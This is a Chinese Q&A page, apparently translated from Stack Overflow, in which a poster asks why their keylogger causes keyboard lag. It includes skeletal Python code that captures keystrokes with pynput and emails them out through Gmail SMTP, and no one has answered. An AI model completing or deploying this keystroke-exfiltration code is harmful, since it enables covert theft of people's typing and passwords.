在键盘记录器中发送电子邮件时输入延迟

时间:2019-05-06 01:29:07

标签: python-3.x smtplib pynput

我正在做键盘记录器,这是我的第二个项目,并且一切正常,但是,在发送电子邮件后,收集数据(通常包含100-150个字的字符串)后,PC会遭受键盘延迟的困扰。我已经尝试暂停监听器来检查按键,但是它没有用,我正在使用Pynput收集数据并通过smtplib发送电子邮件,有什么想法吗?

from pynput.keyboard import Key, Listener
import smtplib, ssl

def send_mail():
    with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=ssl.create_default_context()) as server:
        server.login("sender@gmail.com", "password")
        server.sendmail("sender@gmail.com", "reciever@gmail.com", string)
        server.quit()
    strin=''

def on_press(key):
    #gather information
    if len(string) > 100:
        send_mail()


with Listener(on_press=on_press) as listener:
    listener.join()

0 个答案:

没有答案